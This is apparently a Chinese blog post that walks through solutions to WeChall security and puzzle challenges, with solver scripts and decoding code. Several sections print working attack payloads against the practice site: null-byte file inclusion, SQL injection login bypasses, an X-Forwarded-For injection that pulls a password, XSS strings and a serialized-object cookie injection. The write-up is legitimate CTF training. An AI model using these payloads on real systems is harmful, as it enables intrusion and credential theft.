期待已久的寒假,总算可以(比较)自由自在地做自己想做的事情了。
PrimeFactory
这道题,寻找一百万以上的素数(并且要求其各数字和也是素数)。乍看之下我以为需要很大的计算量,甚至犹豫了一下要不要用C写。不过还是先决定用python尝试一下。
判断素数的方法我使用的是linux提供的factor,当只能分解出一个数字时便是素数。
事实上这个位置的素数还是相当密集的,仅仅在一百万出头一点点就找到了所需的答案。
import subprocess as sp
t = 1000000
def isPrime(x):
t = sp.check_output(("factor %d" % x).split())
if t.split()[1] == str(x):
return True
return False
while True:
t += 1
if isPrime(t) and isPrime(sum([int(x) for x in str(t)])):
print t
Get Sourced
简单查看html源码就能解决问题。不过答案并不在我一开始想象的地方。
Stegano I
在bmp的最后嵌入了密码。xxd,strings,或者随便什么命令。
Crypto-Caesar I
都告诉我是凯撒密码了……用tr命令解决
echo "VJG SWKEM DTQYP HQZ LWORU QXGT VJG NCBA FQI QH ECGUCT CPF AQWT WPKSWG UQNWVKQP KU UDCJRKRJUROQ" | tr [A-Z] [Y-ZA-X]
WWW-Robots
流浪人,如果你看到robots.txt……
Ascii:
与其说考验知识水平,不如说考验对于这些简单编码的处理速度吧。
a = [84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 99, 98, 104, 108, 100, 105, 110, 110, 111, 110, 109, 111]
s=""
for t in a:
s+= chr(t)
print s
Encoding: URL
urllib.unquote("%59%69%70%70%65%68%21%20%59%6F%75%72%20%55%52%4C%20%69%73%20%63%68%61%6C%6C%65%6E%67%65%2F%74%72%61%69%6E%69%6E%67%2F%65%6E%63%6F%64%69%6E%67%73%2F%75%72%6C%2F%73%61%77%5F%6C%6F%74%69%6F%6E%2E%70%68%70%3F%70%3D%64%65%64%67%61%72%73%69%70%70%64%62%26%63%69%64%3D%35%32%23%70%61%73%73%77%6F%72%64%3D%66%69%62%72%65%5F%6F%70%74%69%63%73%20%56%65%72%79%20%77%65%6C%6C%20%64%6F%6E%65%21")
说得太直白……
Training:Encodings I
比起上面这道,这道就隐晦多了。
对一大串二进制代码的直接反应,是每八个一组形成翻译成字符。然而照做之后解码失败。
题目中的提示在于“English”,英文字母所用的ascii字符只占用七个bit。而计算总长度发现不为8的倍数而为7的倍数。
t="101010011010001101001111001101000001110100110010111110001110100010000011010011110011010000001101110101101110001011010011110100010000011001011101110110001111011111100100110010111001000100000110000111100111100011110100111010010101110010000010110011101111111010111100100100000111000011000011110011111001111101111101111111001011001000100000110100111100110100000110010111000011110011111100111100111110100110000111100101110100110010111100100101110"
print len(t)
def ec(t):
l = len(t)
for i in range(l/7):
yield t[i*7:i*7+7]
s=""
for c in ec(t):
s+= chr(int(c,2))
print s
Training: Programming 1
这道题无疑是不难的,简单的编程序收发就好了,然而……
用python requests跑,不停看到“please use cookie in headers”。
于是乎我把header当中能加的东西都加了一遍……直到跟浏览器的请求完全相同,却仍旧不能看到正确的结果
后来我尝试了网上的方案,用ajax。不得不说虽然我不太会js和jquery,但是这个方案的确比我的要方便得多。直接在chrome的控制台输入即可。
$.ajax({
url: 'http://www.wechall.net/challenge/training/programming1/index.php?action=request',
type: 'get',
dataType: 'text',
success:function(data){
var newUrl="index.php?answer="+data;
window.location.href=newUrl;
}
});
到这里已经可以获得正确的结果了。然而我还是想知道python的程序出了什么问题。
在某次退出重新登陆的时候,我取消了wechall那个锁定IP的选项……然后就顺利得出了正确的结果。
只能说无语凝噎。
import requests as r
url = "http://www.wechall.net/challenge/training/programming1/index.php?action=request"
cookies = {"WC": "×××××××××××××"}
resp = r.get(url, cookies=cookies)
ans = resp.text
print ans
resp = r.get("http://www.wechall.net/challenge/training/programming1/index.php?answer=%s" % ans, cookies=cookies)
print resp.text
Training: PHP LFI
LFI这个奇怪的单词……我不知道L是什么,但FI是file include没错。看到了题目也进一步确认它就是文件包含漏洞的利用。
提供了整个页面的源代码,但并没用上。
另外提供了错误信息,看着它足以下饭了。
既然已经给出了答案的位置,直接访问index.php?file=../solution.php
错误信息中,提示找不到文件”../solution.php.html”
于是很明显,需要尝试过滤掉后面的”.html”
利用nullbyte注入,访问index.php?file=../solution.php%00
成功了,但是仍然提示找不到”../solution.php”
访问index.php?file=../../solution.php%00
,完成。
PHP 0817
算是出题人的蓄意恶作剧吧。
看起来比上一题复杂,我以为是要用到nullbyte和php的字符串与数字转换的隐式规则。
答案是,php的switch对于条件的判断宽松得令人发指……
我承认我之前不知道这一点。
Training: Crypto - Substitution I
单表替换密码,quipqiup
我已经懒得手动做了。
Training: Crypto - Caesar II
又是一个凯撒加密,准确地说是移位密码。只不过其空间为ascii的26-128
所以其实做法也是一样的,遍历一下所有可能性输出,扫一眼哪些看起来长得像就可以。
Training: Regex
正则表达式基础……分成了好几个关卡
只匹配空字符串:
/^$/;这一步学习的是匹配字符串开头结尾的两个符号只匹配wechall:
/^wechall$/;这一步是简单的匹配匹配特定文件名的图片后缀:
/^wechall4?\.(?:jpg|gif|tiff|bmp|png)$/;稍微复杂一些的匹配,注意它会提示你不要使用捕获分组同上题,需要对文件名添加捕获分组:
/^(wechall4?)\.(?:jpg|gif|tiff|bmp|png)$/
Training: MySQL I
基础的SQL注入,admin' or ''like'
Training: MySQL II
与上一题本质上相同,但这次的验证过程更为复杂:根据username取出结果,拿第一组结果中的密码与提交的密码的MD5比较,相同则视为登陆。
注意到成功登陆时,使用的是该组结果当中的username项,而非原来的username。从这里可以看出该题应当不需要二次SQL注入。
提交username='union select 1,'admin','e10adc3949ba59abbe56e057f20f883e; password=123456
即可,注意到其中e10adc3949ba59abbe56e057f20f883e为123456的MD5hash结果。
Training: Register Globals
利用php的register global选项,该选项将所有提交的参数注册为全局变量。
这个功能在php中已经移除。
查看源代码发现,其用$login这个变量来控制是否登陆,且只要$login[0]==admin,就能完成任务。
php的另一个特性是,可以通过get参数提交数组。
因此,在url后加上?login[0]=admin
即可
Limited Access
这道题关于.htcacess,我对于它不熟,应该说,对于apache都不熟。让我自己编写这个配置文件肯定没办法,然而……我只需要看懂就可以了。
显然能登陆的用户信息在.htpasswd里,这个文件访问不到。于是乎……看了看下面写的限制,貌似只对get进行了限制,那就简单了。直接用post查看该界面,就能通过了。
Limited Access Too
这道题跟上一道题基本相同,我很无语。它的改动在于额外禁了一系列的http method。然而http的各种奇葩method太多,杀之不绝啊……
curl -XTO http://www.wechall.net/challenge/wannabe7331/limited_access_too/protected/protected.php
记得把cookie也一起提交上去。
你问我TO是什么?我估计是用不到的,所以我也没查。
Enlightment
这道题……我一开始没做出来是犯了一个很大的错误。
由于经常用到把binary string转换成字符串的功能,其中需要每八个一组迭代一个字符串,而我之前竟然都是用slide_windows写的,觉得自己实在是蠢得不能再蠢了。
总之……现在是行了。
这道题的point在于,RGB三种颜色要怎么混合。一开始我想得有点复杂,把它们按照一般的RGB转灰度的公式处理……结果似乎是想复杂了。
其实只要把三个二进制串OR一下就可以了。
这只是第一步。第二步会给另一个二进制串,这个倒是可以直接转换成字符串。
第三步是另外的三个二进制串。这次不是OR一下,而是XOR一下。答案就有了。
r = "00000000011000000110000000000000000000000100000000010000000000000111000000100100001000000110100100010000000000000010100101100101011001000010000000000000000000000101010000000000011000100010000100101100011000000101000000100000001010010000001000000000000000000000100100000010011101000010000101000000011000010100001000010100011000010100011000100000001000000000010000000010000101110000010101101000001010000010000001100100000000010000000001000010001011100000000001110100000000100010000000010100011000000100000100100000000001100010010001011000011101000010000000100011011101000100000100100111010001000000110000000000010001100010001100100000011101000100100001100001010100000100010100110010000010010000101000000000001000010000000000010000001100010010000100110000001100000001000000010001001000000000000000100001000000000010000000110001000100000000000000000000001000000011000000000001000100000001000100000000000100000011000100000000000000010011000000000000001000000000110100001000000100000001000000100000001000000011000000000001000000000000000100100000000100010010000000010000001000010001000100000001000100000011000000010001001100000000000000010001000000000000000000010000000000000000000100100001000000000011000000110001000000000011000000001000000000000000000000000000000100010011000000100000000100010000000000110000000100000010000100110000000100000010000000110000001100000001000100100000001000000001000000010000001000000000000000000000000100000010000000010000001100000001000100000000001000000001000000010000000010000000100000100000001100000001000000010000000000000000000000010000001100000000000000110001001000010001000100000000000100000000000000000000001100000001000100110001001100000000000100110000000100000011000000000000000100000001000100110000000100000011000000000000000100000000000100000000"
g ="01000001011010000010000000000000000000000000000101100100000000000100000000100100010001000000010000100010000000000011100101000110011000000000000000100101010011000010000000000000001100110100100101100000001001010000000001000000001010000010011001100110001000000110100001000100010000000100010100110010001000000010000000110000001010010110000000000101000000010000100000001000010101110010000101000100010011000010000001000000001001100000000001100000000011010000000000010000011011100010000001100000001000000100010000000000011011000100010100010000001100000000000000110000000100000110000101100000011001010000110000000000010001010100010100100000000001000110100000000101011100100110010000000000000011010000000000110000000000000001000000110000000000000011000000010000000000000001000000010000000000010001000000110000000100000001000000000000000100000001000100110000000100000011000000110000001000010010000000010000000100010000000100110000000100010010000000010000001100000000100000000010001000000011000000010001000100000001000000100000001100000001000000010000001100000001000000000000000100000001000100110000001000010011000000100000000100000011000000100000001100000011000000010000000100000011000100010001001100000010000000000001000000000000000000000100000000100011000000100001001100010010000000110000001000010001000100000000000000000000000000100001001000000001000000100000000000000000000100010000000100000010000100100000001000000011000000000000001100000000000000010000001000010011000100110000000000000011000100010000000011000000100000010000000100000000000100010000001100010001000100000001001000000011000000100001001000000011000000000000000100000010000000110000001000000010000100100000000000000001000000100000001100000000000000110000001100010001000100110000001000000001000000110000000000000000100000001000"
b = "01000001010000000110000100100001001000000000100001000100001000000101001101100001011000010100000101100011001000000110000001001101000100010000000001100011001000110011010000100000010100110010111001001001011000010110010000101000011010000110110000100001000000000010000000101010000100000010010100010000000001000001001101000100000000000110110001000110000000010000010100001000000000010110010101100100011000000010000000110000010011110010000001000101010010100010000001000100000010110010000000100000000010000010000000000000011001000110000001101000001000000000000001000000001000000110000000000101000001010010100000100000001001110000111000100000001100000000100000000100000100100000010000001010000001000000101000010000000100010010000000000000000100000000000000000000001100000010000000100000000100000010000000100001001100000010000000110001001100000010000000000001000100000010000000010001000000000001000100100000001100010000000000000000001100000001000000100000000100000000100100001000000000000000000000100000000000010001000000110000000100010010000100110000001000000001000000100001001000000011000000110000001000010011000000000000000000000010000000110000000000010011000000100000001100000010000000110000000000000000000000110001001100000001000100000101000010000000000000010001001000010000000100010000001000000010000000110000001100000001000000010000001000000011000000110001001000000011000000000000001000010010000000100000000100010001000100110000000000000001000000100000001000010010000100010000001100000011000000100000000001010000001000100000000000000011000000100000000100010010000000110000000000000011000000010000000100010010000000110000001100000011000000100000001000000000000100010001001100000010000000010000001100000000000000000000000000000010000000000001001000000000000000000000001000000000110000001010"
def bin2str(t):
s=""
for i in range(len(t)/8):
s+=chr(int(t[i*8:i*8+8],2))
return s
s=""
for i in range(len(r)):
s += str(int(r[i]) | int(g[i]) | int(b[i]))
print bin2str(s)
# stage 2
s = """01001100011010010110011101101000
00110111010111110100110001100101
01110110011001010110110000110010
00101110011100000110100001110000"""
s = s.replace('\n','')
print bin2str(s)
# stage 3
r = """001111111000110110000110001011110011010010000000
110100111001010001010101010110000000101111110010
011100010011110001101000000010100101010101011110
100101001001100000100000001000010000111001010110
110011000110011011000010101010010001100111011110
011011011100101001101100100000110001010101001111
100100100100100011000000000001100101001100110000
110111000000001101010101100110101110000100100011
100011000100011010001011011011101101110000001000
110001011100000110011100110010001010100110010100
001111001101000001001111000111010100000000100000
110010000110110110010101011101101101110101111110
101110110110000101100000000100000000100110010100
100111000100010000100111001110011000000010100110
101111101010000100001111101110110100110100000010
000101110100010010001001100001011111101011001000
110000001001101011000100010101100111000010000110
110010111011001100000001000100001000010010000010
10011001010000100011100101011110"""
g = """001000111110001110011011010011010000001011011110
101000001110000110100010001001011111010110011011
100001010100011000010001010110010010100110000010
101010110011011101000111011100100000010000111010
001110001000101010010000110001111100011100100001
000110101001011000011110001000101000011001000111
111000011010010010110000001000010001110100001000
100000011000100011010001101011000001110101000100
101110110000001101001001110110110011011110011101
101011110000100100110001000100011000000001011001
000000010010011110000100100110100001000101000100
010101010101001000000000011110011101010011011001
110100001000100000000110001101111010000001000000
111100101010100001001000001101110001101001001001
110001111101001100001100001000100100001010010000
110000010011000111001100001110101000011000111100
001100011010011110100010010110000000110111111101
111000010000100110011100110000001110110000111001
10000100101100011100101011101100"""
b = """010010000001110001110100000100100101101000111011
010111100010110111011010001100101010110001000101
110101000000100000010000001101000001010010101000
000000001010001001101101000101000111100000001001
100101011001100001110011010011101001011010011010
000001010011100101010010110010001110000000101000
000001001000010000010001010100110110111001000001
001100101111111010100100010001011001010000001000
010000100010100110100110100101011000100111110000
010010101010010011000010101101100100001010100100
010100111001000011101011111000010011111000010110
101100110001000110111011000000100000001110000101
001011001000000000001011010010101100110010001011
001010101000110100110000010000101111001110001000
000100010000011000100001100101000000010111110111
101110000000000100100000110011010101110010000000
100110010101010000010101001011100001110000001000
000010101100101011111100101000110001101111001100
01110010100000011001011110010011"""
r = r.replace('\n','')
b = b.replace('\n','')
g = g.replace('\n','')
s=""
for i in range(len(r)):
s += str(int(r[i]) ^ int(g[i]) ^ int(b[i]))
print bin2str(s)
Guesswork
这道题还真是不那么令人愉快啊…
其目的是猜测一个账户的密码。据讨论区所说,可能有非纯猜测的方法,我觉得可能是社工。然而也没有英文的社工库,所以还是猜。
尝试了一些弱口令,当输入wechall的时候,虽然还是错的,但给出的回复有些不同,提示接近了。
我仍旧是猜不出来……然后在别人的提点下:它的账号是wechall,它的身份是个bot……
于是密码是wechallbot.我无言以对。
No Escape
很长的php代码审计,我原以为会是什么很复杂的东西,其实也不过是简单sql注入罢了。
只需对提交的参数做一点小手脚就可以了。
?vote_for=bill`=111;#
Training: Crypto - Transposition I
这道题困扰了我一段时间……
对待置换密码,首先需要根据其长度特征进行判断.该文本的长度为148
factor 148
可以看到,其因数为2,2,37
看到这样的因数就知道,需要枚举的情况不会太多了。
无非是4*37,37*4,2*74,74*2这么几种情况。都枚举一下打印出来,看看是否能辨认出熟悉的单词的痕迹就好了。
Training: LSB
事实再次证明stegsolve是个好东西。
拖进去看一看各个通道有什么就好了
Training: RegexMini
一开始以为是php的漏洞,后来发现原来是简单干脆的正则表达式。
当然,是php的正则表达式。
具体可以参考php手册,查看^
和$
这两个字符究竟能匹配些什么。
其实就是十六个A后面加一个换行符(%0A
)就好了。
PHP 0819
这道题涉及到了一个以前没接触过的点。
php里有一个叫做heredoc的东西,用于实现python当中三引号差不多的功能,但语法上似乎更为复杂。
用这个东西便能绕过对于引号的过滤,注入想要的字符串
%3C%3C%3CA%0A1337%0AA%3B%0A
>>>A
1337
A;
Training: Warchall - The Beginning
level 0: bitwarrior:
level 1: LameStartup:
通过find找到solutionlevel 2: HiddenIsConfig:
通过.bash_history找到level 3: RepeatingHistory:
仍然是在.bash_history中找到level 4: AndIknowchown:
一个没有权限的文件,但有改权限的权限level 5: OhRightThePerms:
仍然是改权限的小游戏
我花了很长很长时间去做level6……然后发现只要求输入level0~5的密码。
最后……记得加上逗号
Py-Tong
需要一个程序与提供的程序达成race condition,多试几次就能输出正确的结果了。
#!/usr/bin/env python
# coding=utf-8
import os
while True:
os.remove('/home/user/winkar/test')
f= open('/home/user/winkar/test', "a+")
f.close()
PHP 0815
我自己想不到的hack。
缺失的环节是,传入的参数需要转换成整数。
通常所用的函数是int()或者intval()
然而出于php wtf的atoi转换规则,$s-0足以完成。于是-0
就是最短的答案
Impossible n’est pas français
题目的要求是factor一个很大的数字。试着看了看那个数字的长度之后我放弃了正常途径。
我开始寻找是否有api可以完成这个工作。
其实只要提交一个错误的答案,wechall就会告诉你正确的答案。
于是乎……
#!/usr/bin/env python
# coding=utf-8
import lxml
import lxml.html as H
import requests
cookie = {
'WC': '8429765-12152-0vjRl2XoKWFYAmvh'
}
def get_number():
number_url = 'http://www.wechall.net/challenge/impossible/index.php?request=new_number'
resp = requests.get(number_url, cookies=cookie)
d = H.document_fromstring(resp.text)
return str(d.xpath('//div[@id=\'page\']')[0].text_content()).strip()
print get_number()
def get_answer():
post_data = {
'solution': '1+12',
'cmd': 'Send',
'gwf3_csrf': '2XDoWTUR'
}
url = 'http://www.wechall.net/challenge/impossible/index.php'
resp = requests.post(url, cookies=cookie, data=post_data)
# print resp.text
d = H.document_fromstring(resp.text)
import re
ar = re.compile(r'"(\d+)"')
text = d.xpath('//div[@class=\'gwf_errors\']/ul/li')[0].text_content()
ans = ar.findall(text)[0]
print ans
post_data = {
'solution': ans,
'cmd': 'Send',
'gwf3_csrf': '2XDoWTUR'
}
resp = requests.post(url, cookies=cookie, data=post_data)
print resp.text
get_answer()
Stegano Attachment
xxd一看就知道,提供的jpg图片里面藏了一个zipfile。如果是当年懵懂无知的我,要提取出来还是会很费劲的。
然而现在……
foremost -i attachment.php(这是下载过来图片的名字)
一切尽在不言中
PHP 0818
这道题又一次让我对php这门语言绝望了。
不允许出现数字但又要求与一个数字相等,无非就是字符串与数字转换的规则问题。
一串字母如何与一个数字相等,自然是十六进制。
十六进制的字符串为何能与十进制的字符串相等……那就说来话长了,可以去看一看php中”==” 与 “===”这两个操作符的区别。
强烈推荐,除非故意要留下这么个漏洞,不然不要用前者
Stop us
又一个未涉及过的知识点。
也又一次让我觉得php这门语言……虽说C/C++的“未定义”让人咬牙切齿,可跟php里这种种特意定义出来的bug相比,不值一提
这次是ignore_user_abort,将此选项置false的情况下,客户端中断连接将使脚本执行停止。
一个活生生的事务处理的原子性不能达成的例子。
Are you serial
给出了很多代码,不过也算是有重点。首先是一个标题名,表示可能与php中的序列化函数有关。
然后是一个叫做insecure.inc.php的文件,没几行代码,里面用到spl_autoload_register这个函数。由于php中的register劣迹斑斑,果断去搜索了一圈这个函数的用法。
这个不安全的文件实现的大致效果是,当碰到一个找不到的类时,php会通过注册的函数,自动在include path当中寻找并包含对应的文件。再看一眼solution这个文件大致的思路就拼凑出来了。在cookie中提交一个solution类的序列化字符串即可。
#!/usr/bin/env python
# coding=utf-8
import requests
solution = r'O:15:"SERIAL_Solution":0:{}'
cookie = {
'WC': '8429765-12152-0vjRl2XoKWFYAmvh',
'serial_user': solution,
}
resp = requests.post('http://www.wechall.net/challenge/are_you_serial/code.php' ,cookies=cookie)
print resp.text
Training: Math Pyramid
这道题坑人的地方在于故意给你的sqrt,不用它会大大减低难度
a^3/18^.5
Training: Crypto - Digraphs
这道题麻烦的地方是,大小写字母的编码方式是不同的,且标点符号也在编码的范畴之内。因此不能将其转换成普通的单表替换密码。
比较明显提示是,第一个单词的长度,结合该语境,它无疑是congratulations,这样好多字母对应的key已经获得。接下来只要把剩余的每一个单词的密文在已有字典中检索一遍,再根据拼凑出的碎片还原整个单词,再更新字典即可。
事实上凑到最后我还有一两个字母没有确定,不过已经不妨碍了。
HOST me
比较别扭,查了HTTP_HOST之后就知道该在HEADERS的HOST上动手脚,然而不知为何,无论是用requests还是用chrome改header怎么发都提示Wrong Host。
最后的解决方案是在nc里直接发一个最简洁的http报文,就能返回正确的结果了。
GET http://www.wechall.net/challenge/space/host_me/index.php HTTP/1.1
Host: localhost
Cookie:
AUTH me
对于SSL还是很不了解,这个apache.conf在讲什么……我也是完全当做英文理解的,大致对于一些点去查了一查,并无什么收获。
其实在apache.conf中规定了,client端需要证书才能访问server端,那么证书在哪里呢。就放在/challenge/space/auth_me/find_me/
文件夹下(即apache.conf所在文件夹)……
导入浏览器即可
Stegano Woman
给了一个压缩包,里面有两张图片。用各种stegano检测的工具对两张图片上上下下检查了一圈,什么都没有看出来,很是尴尬……
在某次解压缩的过程中(用的是命令行的zip),发现除了解压出来的文件列表外,还额外输出了一大堆东西。现在我已经知道了,输出的这些东西是zip文件当中的备注。
于是后面的过程就是把备注找出来,发现接在stegano字符串后面的,是一大串TAB和SPC.把其中一个当做1,另一个当做0,换成二进制再转换成字符串之后输出即可.
with open('00000000.zip','rb') as f:
text = f.read()
index = text.find('Stegano')
text = [x for x in text[index:] if x]
text = text[:273]
text = text[9:]
text = ''.join('1' if x==' ' else '0' for x in text)
s=""
for l in range(len(text)/8):
s+= chr(int(text[l*8:l*8+8],2))
print s
Connect the Dots
名字上已经可以看出来把各个黑点(或者白点)连起来能看出一点信息,然而连了半天什么都没看出来.
随后搜索得到结果,原来这里使用的是盲文,难怪….
Training: Baconian
so called 培根密码,我保证这个加密不会是你感兴趣的.寻找工具而非自己编码是更好的方式,只需按大小写将其转换为’A’和’B’,之后丢到这个网站Bacon就可以了.
注意大小写which is A and which is B is important.And 培根密码有两种加密形式,取决于ij 和 uv 是否采取同一种编码
Zebra
这道题本身是不难的,在对图片进行分析之后,不难发现斑马身上的条纹很像一个一维条形码(barcode).接下来便是将其抠出来, 无非是gimp, ps, mspaint之类的工具都能解决.
真正困扰我的是,如何识别出条形码里的内容.我试着根据EAN-13的规则人工识别,惨败.之后在手机上下了APP,仍旧是失败.最终给出结果的是这个网站barcode online reader
Training: Crypto - Substitution II
与diagraph相同, 采用了wechall环境下密码题的”congratulations!”解题法.
这么一大串东西,直接猜测是以congratulations!开头, 替换完之后发现长得的确看起来像那么回事,于是一点点拆解单词,很快就能把原貌还原.
eXtract Me
给了一个zip文件,仔细研究其内部结构发现在zip结束符之后还有额外的部分.顺带一提,这本该是foremost或者binwalk完成的工作,可是它们都检测不出来….
前半个部分,也就是zip文件,一个440B大小的无限循环解压的zip文件,跟它较劲毫无意义.而后半部分导出后是用奇怪的手法层层包扎的压缩包.未统计,可能有那么七八层.
解压的过程中要灵活运用file
命令来探知压缩包的格式.已经7z可以方便地解压很多种类的压缩包,虽然还是有那么一些奇怪的类型需要安装对应的软件用以解压..
第一遍解压到最后,结果蹦出来一句话:L0LYouThInkiTSh0uldB3SoEasY? 这已经不知道是第几次被出题者戏耍了.这句话虽然不是答案,但也是有用的.
另一个分岔实际上在解压某一个rar文件时,会给出一大串十六进制, 将其导出为二进制文件,又是一个压缩包,还是层层解压.
到最后又是获得了一个rar文件,然而它有密码. 一开始在这里愣神了,以为是假密码,修改标志位后却提示已经损坏. 总算想起来之前获得了一个字符串,一试果然成功,获得最终的答案
htmlspecialchars
这道题一股蛋疼感.
exploit payload:
test' onclick='alert(123)'
切记不要在chrome下测试…我没有装任何adblock但它还是不弹窗.
可以看出原反XSS代码的主要问题就是没对单引号做转义
查看htmlspecialchars的文档,发现它默认不对单引号做转义,加上ENT_QUOTES
参数就可以.
PHP 0816
整理一下整个script走过的路径.
1.检查参数src,如果值不在白名单里,则将值置false
2.将参数hl数组中的值加入highlight列表
3.检查参数mode,如果mode为hl则调用函数载入src参数指定的文件.
虽然我在上面标了一二三,但注意源代码当中,这三者之间并无顺序.
php中foreach是按照数组的赋值顺序遍历的, 关于GET参数的传入顺序我并无找到资料, 也懒得做实验, 根据这道题的结果来看大概也是跟url中参数的传入顺序有关的.
因此只要在白名单过滤之前载入src参数指定的文件就可以.
http://www.wechall.net/challenge/php0816/code.php?mode=hl&src=solution.php
Quangcurrency
读题是很重要的…来把这个题目大概念出来,它是什么?concurrency对不对?又是一道竞态的题目.
只要卡着buy和click,想方设法跑到10个item就可以
cookie = {
'WC': '8429765-12152-0vjRl2XoKWFYAmvh'
}
def f1():
requests.get('http://www.wechall.net/challenge/quangcurrency/click.php', cookies=cookie)
def f2():
requests.get('http://www.wechall.net/challenge/quangcurrency/buy.php', cookies=cookie)
import requests
import threading
import time
import lxml
import lxml.html as H
import re
r = re.compile(r'\w+: (\d+)')
i = 0
while True:
i += 1
print "turn %d" % i
print 'start click'
t1 = threading.Thread(target = f1)
print 'start buy'
t2 = threading.Thread(target = f2)
t1.start()
t2.start()
t1.join()
t2.join()
text = requests.get('http://www.wechall.net/challenge/quangcurrency/stats.php', cookies=cookie).text
d = H.document_fromstring(text)
msg = d.xpath('//div[@class=\'box_c\']')[0]
# import pdb;pdb.set_trace()
a,b,c = r.findall(msg.text_content())
print 'get %s item ' % c
if int(c)>=10:
break
if int(a) < 1000:
print 'reset'
requests.get('http://www.wechall.net/challenge/quangcurrency/reset.php', cookies=cookie)
友情提示,它肯定可以跑出来,但它永远不会停下,最好自己确认这个challenge是不是已经完成了.
Yourself PHP
我研究怎么绕过htmlspecialchars花了很长时间,然而得出的结论是这个地方似乎不太能绕过.
后来了解到注入点不在username, 而在$_SERVER[‘PHP_SELF’], 所以….足够仔细的代码审计非常重要.
http://www.wechall.net/challenge/yourself_php/index.php/%22%3E%3Cscript%3Ealert(1);%3C/script%3E
用上面这个url访问即可
The Guestbook
SQL注入.
其关键在于绕过对输入的过滤,当然我的确不知道怎么在有过滤的情况下完成注入,但仔细审查源代码会发现,除了输入的信息之外,ip和sessionid都是未过滤的注入点.
Session id不方便下手,那么ip就是最好的选择
X-Forwarded-For: ',(SELECT gbu_password from gbook_user limit 1));#
构造这样的http header, 再提交message即可将查询到的结果输出.
Crappyshare
仍旧是代码审计,文件包含漏洞…但是你得知道怎么通过文件包含漏洞去访问到solution.php
php 封装协议这篇文章中讲解了一系列相关的知识.
使用file://
协议可以令其访问本地文件
Pimitive Encryption
用onetime-pad xor加密的zip文件,通过zip的magic number可以确定onetime-pad的前四位,转换成char输出后发现是3.14
于是该用什么解密就很明显了,下载一个pi之后xor一下,就能还原了.